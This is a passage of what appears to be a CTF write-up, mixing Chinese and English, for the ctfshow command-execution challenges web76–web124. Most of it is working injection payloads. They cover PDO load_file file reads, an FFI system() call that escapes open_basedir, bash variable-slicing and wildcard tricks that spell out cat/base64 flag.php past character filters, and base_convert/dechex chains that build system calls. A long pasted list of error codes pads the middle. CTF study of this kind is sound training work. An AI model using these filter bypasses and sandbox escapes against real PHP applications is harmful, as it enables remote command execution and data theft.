$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
exit(0);
}
exit(0);
Ctfshow command executes web76
Same as web75, the flag file name is flag36d.txt
.
payload:
c=
try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');
foreach ($dbh->query('select load_file("/flag36d.txt")') as $row) {
echo ($row[0]) . "|";
}
$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
exit(0);
}
exit(0);
Ctfshow command execution web77
Question description: The last question of command execution, php7.4, basically the command execution comes to an end (php7.4 should think of FFI)
It looks the same as before, just looks.
Read root directory: (flag is in /readflag
file)
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}die();
But the PDO method cannot be used.
This question uses the FFI extension to execute commands in C language (?) to bypass open_basedir
restrictions. (Only restricts PHP's access directory, not related to C language)
FFI : Available only for php7.4 and above, it is an extension of PHP. Provides a way to write PHP extensions and bindings to C libraries in pure PHP.
Reference articles:
https://zhuanlan.zhihu.com/p/119129348
https://www.php.net/manual/zh/ffi.cdef.php
https://www.php.cn/php-weizijiaocheng-415807 .html
payload: (remember to remove the comments)
$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt'; //没有回显,需要重定向到文件
$ffi->system($a); //通过$ffi去调用system函数
Ctfshow command execution web118
Title description: flag in flag.php
Open the topic.
There are hints in the source code:system($code);
The filtering is a bit fierce, and these are the only characters that can be used for fuzzing, capital letters plus some symbols.
Not much can be used, but the structure Bash内置变量
is adequate.
Our payload is generally cat/nl等命令
+ flag.php
. flag.php
We can use wildcards instead ????.???
. cat/nl等命令
We can use it Bash内置变量
.
The environment variable PATH
is generally /bin
, and the question path PWD
is /var/www/html
.
Normally we can use 切片
:
echo ${
PWD}
echo ${
PWD:0:1}
echo ${
PWD:0:3}
echo ${
PWD:1:1}
echo ${
PWD:2:3}
echo ${
PWD:~0:1} //从末尾开始取一个
But the question filters the numbers, so slicing cannot be used. Get the characters another way.
Linux can use it to ~
get the last few digits of a variable (starting from the end). When using the negation sign, any letter is equivalent to the number 0.
echo ${
PWD}
echo ${
PWD:~0}
echo ${
PWD:~1}
echo ${
PWD:~2}
echo ${
PWD:~j}
echo ${
PWD:~J}
Therefore, ${PATH:~A}${PWD:~A}
it represents PATH
the last letter of and PWD
the last letter of , and the combination is nl.
payload:
${
PATH:~A}${
PWD:~A} ????.???
Equivalent to:nl flag.php
Other possible payloads: (The second one is given by the official, but has not been released by my own practice)
${
PATH:${
#HOME}:${
#SHLVL}}${
PATH:${
#RANDOM}:${
#SHLVL}} ?${
PATH:${
#RANDOM}:${
#SHLVL}}??.???
${
PATH:~A}${
PATH:${
#TERM}:${
SHLVL:~A}} ????.???
${
PATH:~A}${
PWD:~A:${
##}} ????.???
Reference article:
https://www.cnblogs.com/sparkdev/p/9934595.html#title_0
https://blog.51cto.com/allenh/1695810
Ctfshow command execution web119
This question has more filters than the previous question PATH
.
Expand Bash内置变量
the construction characters:
${RANDOM}: Random numbers
${PWD} :/var/www/html
${USER} :www-data
${HOME}: The current user’s home directory
SHLVL
是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时$SHLVL=2。
RANDOM
此变量值,随机出现整数,范围为0-32767。在Linux中,${#xxx}显示的是这个值的位数不加#是变量的值,加了#是变量的值的长度。例如${#12345}的值是5,而random函数绝大部分产生的数字都是4位或者5位的,因此${#RANDOM}可以代替4或者5。
IFS
空格符、tab字符、换行字符(newline) 长度为3。{#IFS}=3
payload:
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
就是/???/?a? ????.???
就是/bin/cat flag.php
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???
就是/???/??t ????.???
就是/bin/cat flag.php
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
就是/???/?????4 ????.???
就是/bin/base64 flag.php
Ctfshow command executes web120
This time the source code is given directly. The filtering is the same as web119, but the length is limited to 64 or less.
The first payload of web119 is hit directly.
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
就是/???/?a? ????.???
就是/bin/cat flag.php
Ctfshow command execution web121
The source code is given directly, but this time there is a bit more filtering.
Just look at the three payloads of web119. HOME
, USER
, SHLVL
. After being filtered, the first two have little impact, so it’s okay if you don’t use them. Filtering ${#SHLVL}
can be done using ${##}
, ${#?}
.
payload:
${PWD::${##}}???${PWD::${##}}??${PWD:${##}:${##}} ????.???
就是/???/??v ????.???
就是/bin/rev flag.php
${PWD::${##}}???${PWD::${##}}?????${#RANDOM} ????.???
就是/???/?????4 ????.???
就是/bin/base64 flag.php
Ctfshow command executes web122
hint:fuzz
I gave the source code directly, and this time it was filtered PWD
. #
All previous payloads cannot be used.
We choose to use base64 to get the flag. (/bin/base64 flag.php, target constructor /???/?????4 ????.???
)
After filtering PWD
, we can still use it HOME
. No matter HOME
what it is (such as /xxx/xxx), HOME
the first one must be /
.
Then we just need to solve the problem of how to construct the numbers. We need the sum 1
of numbers 4
.
We can use it $?
to get the return value after the execution of the previous command, 0
which means success or 非0
failure. Non-zero return values are as follows:
"OS error code 1: Operation not permitted"
"OS error code 2: No such file or directory"
"OS error code 3: No such process"
"OS error code 4: Interrupted system call"
"OS error code 5: Input/output error"
"OS error code 6: No such device or address"
"OS error code 7: Argument list too long"
"OS error code 8: Exec format error"
"OS error code 9: Bad file descriptor"
"OS error code 10: No child processes"
"OS error code 11: Resource temporarily unavailable"
"OS error code 12: Cannot allocate memory"
"OS error code 13: Permission denied"
"OS error code 14: Bad address"
"OS error code 15: Block device required"
"OS error code 16: Device or resource busy"
"OS error code 17: File exists"
"OS error code 18: Invalid cross-device link"
"OS error code 19: No such device"
"OS error code 20: Not a directory"
"OS error code 21: Is a directory"
"OS error code 22: Invalid argument"
"OS error code 23: Too many open files in system"
"OS error code 24: Too many open files"
"OS error code 25: Inappropriate ioctl for device"
"OS error code 26: Text file busy"
"OS error code 27: File too large"
"OS error code 28: No space left on device"
"OS error code 29: Illegal seek"
"OS error code 30: Read-only file system"
"OS error code 31: Too many links"
"OS error code 32: Broken pipe"
"OS error code 33: Numerical argument out of domain"
"OS error code 34: Numerical result out of range"
"OS error code 35: Resource deadlock avoided"
"OS error code 36: File name too long"
"OS error code 37: No locks available"
"OS error code 38: Function not implemented"
"OS error code 39: Directory not empty"
"OS error code 40: Too many levels of symbolic links"
"OS error code 42: No message of desired type"
"OS error code 43: Identifier removed"
"OS error code 44: Channel number out of range"
"OS error code 45: Level 2 not synchronized"
"OS error code 46: Level 3 halted"
"OS error code 47: Level 3 reset"
"OS error code 48: Link number out of range"
"OS error code 49: Protocol driver not attached"
"OS error code 50: No CSI structure available"
"OS error code 51: Level 2 halted"
"OS error code 52: Invalid exchange"
"OS error code 53: Invalid request descriptor"
"OS error code 54: Exchange full"
"OS error code 55: No anode"
"OS error code 56: Invalid request code"
"OS error code 57: Invalid slot"
"OS error code 59: Bad font file format"
"OS error code 60: Device not a stream"
"OS error code 61: No data available"
"OS error code 62: Timer expired"
"OS error code 63: Out of streams resources"
"OS error code 64: Machine is not on the network"
"OS error code 65: Package not installed"
"OS error code 66: Object is remote"
"OS error code 67: Link has been severed"
"OS error code 68: Advertise error"
"OS error code 69: Srmount error"
"OS error code 70: Communication error on send"
"OS error code 71: Protocol error"
"OS error code 72: Multihop attempted"
"OS error code 73: RFS specific error"
"OS error code 74: Bad message"
"OS error code 75: Value too large for defined data type"
"OS error code 76: Name not unique on network"
"OS error code 77: File descriptor in bad state"
"OS error code 78: Remote address changed"
"OS error code 79: Can not access a needed shared library"
"OS error code 80: Accessing a corrupted shared library"
"OS error code 81: .lib section in a.out corrupted"
"OS error code 82: Attempting to link in too many shared libraries"
"OS error code 83: Cannot exec a shared library directly"
"OS error code 84: Invalid or incomplete multibyte or wide character"
"OS error code 85: Interrupted system call should be restarted"
"OS error code 86: Streams pipe error"
"OS error code 87: Too many users"
"OS error code 88: Socket operation on non-socket"
"OS error code 89: Destination address required"
"OS error code 90: Message too long"
"OS error code 91: Protocol wrong type for socket"
"OS error code 92: Protocol not available"
"OS error code 93: Protocol not supported"
"OS error code 94: Socket type not supported"
"OS error code 95: Operation not supported"
"OS error code 96: Protocol family not supported"
"OS error code 97: Address family not supported by protocol"
"OS error code 98: Address already in use"
"OS error code 99: Cannot assign requested address"
"OS error code 100: Network is down"
"OS error code 101: Network is unreachable"
"OS error code 102: Network dropped connection on reset"
"OS error code 103: Software caused connection abort"
"OS error code 104: Connection reset by peer"
"OS error code 105: No buffer space available"
"OS error code 106: Transport endpoint is already connected"
"OS error code 107: Transport endpoint is not connected"
"OS error code 108: Cannot send after transport endpoint shutdown"
"OS error code 109: Too many references: cannot splice"
"OS error code 110: Connection timed out"
"OS error code 111: Connection refused"
"OS error code 112: Host is down"
"OS error code 113: No route to host"
"OS error code 114: Operation already in progress"
"OS error code 115: Operation now in progress"
"OS error code 116: Stale NFS file handle"
"OS error code 117: Structure needs cleaning"
"OS error code 118: Not a XENIX named type file"
"OS error code 119: No XENIX semaphores available"
"OS error code 120: Is a named type file"
"OS error code 121: Remote I/O error"
"OS error code 122: Disk quota exceeded"
"OS error code 123: No medium found"
"OS error code 124: Wrong medium type"
"OS error code 125: Operation canceled"
"OS error code 126: Required key not available"
"OS error code 127: Key has expired"
"OS error code 128: Key has been revoked"
"OS error code 129: Key was rejected by service"
"OS error code 130: Owner died"
"OS error code 131: State not recoverable"
"MySQL error code 132: Old database file"
"MySQL error code 133: No record read before update"
"MySQL error code 134: Record was already deleted (or record file crashed)"
"MySQL error code 135: No more room in record file"
"MySQL error code 136: No more room in index file"
"MySQL error code 137: No more records (read after end of file)"
"MySQL error code 138: Unsupported extension used for table"
"MySQL error code 139: Too big row"
"MySQL error code 140: Wrong create options"
"MySQL error code 141: Duplicate unique key or constraint on write or update"
"MySQL error code 142: Unknown character set used"
"MySQL error code 143: Conflicting table definitions in sub-tables of MERGE table"
"MySQL error code 144: Table is crashed and last repair failed"
"MySQL error code 145: Table was marked as crashed and should be repaired"
"MySQL error code 146: Lock timed out; Retry transaction"
"MySQL error code 147: Lock table is full; Restart program with a larger locktable"
"MySQL error code 148: Updates are not allowed under a read only transactions"
"MySQL error code 149: Lock deadlock; Retry transaction"
"MySQL error code 150: Foreign key constraint is incorrectly formed"
"MySQL error code 151: Cannot add a child row"
"MySQL error code 152: Cannot delete a parent row"
The execution <A
of other commands will fail because the directory or file cannot be found, and the return value is 1. The return $?
value after obtaining the execution of the previous command is 1. We successfully constructed the number 1.
To sum up: what comes first <A;
and then $?
is1
The number 4 is still obtained using RANDOM random numbers, but in a different way, with a probability of 1/10, multiple packets are sent.
payload: (${Z} represents 0)
code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
code=<A;${HOME:${Z}:$?}???${HOME:${Z}:$?}?????${RANDOM::$?} ????.???
Ctfshow command executes web124
The source code is given directly. It was a question from the national competition in previous years. But this question flag is in the current directory.
For detailed wp please see:
payload collection:
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{pi}($$pi{abs})&pi=system&abs=cat flag.php
?c=($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898)))
?c=base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi))
?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20flag.php
$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})
//要在请求头里面加一个 1:tac flag.php 见下图
The command execution chapter is completed and call it a day! (2023.8.20)